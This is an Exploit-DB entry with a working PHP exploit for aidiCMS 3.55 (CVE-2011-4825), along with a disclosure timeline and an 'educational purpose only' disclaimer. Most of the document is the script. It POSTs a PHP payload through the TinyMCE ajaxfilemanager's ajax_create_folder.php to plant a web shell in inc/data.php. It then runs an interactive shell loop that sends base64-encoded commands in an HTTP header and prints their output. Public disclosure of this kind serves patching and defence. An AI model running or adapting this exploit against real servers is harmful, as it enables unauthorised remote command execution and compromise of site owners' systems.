aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution

Author: EgiX
type: webapps
platform: php
port: 
date_added: 2011-11-05 
date_updated: 2011-11-05 
verified: 1 
codes: CVE-2011-4825;OSVDB-76928 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comaidiCMSv3.55.zip

<?php

/*
    --------------------------------------------------------------------
    aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit
    --------------------------------------------------------------------

    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://code.google.com/p/aidicms/

    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+

    [-] Vulnerability overview:

    aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/

    [-] Disclosure timeline:

    [23/10/2011] - Vulnerability discovered
    [24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3
    [26/10/2011] - Project members contacted via e-mail
    [04/11/2011] - Still no response received
    [05/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------------+";
print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";
print "\n+-----------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /aidicms/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\naidicms-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>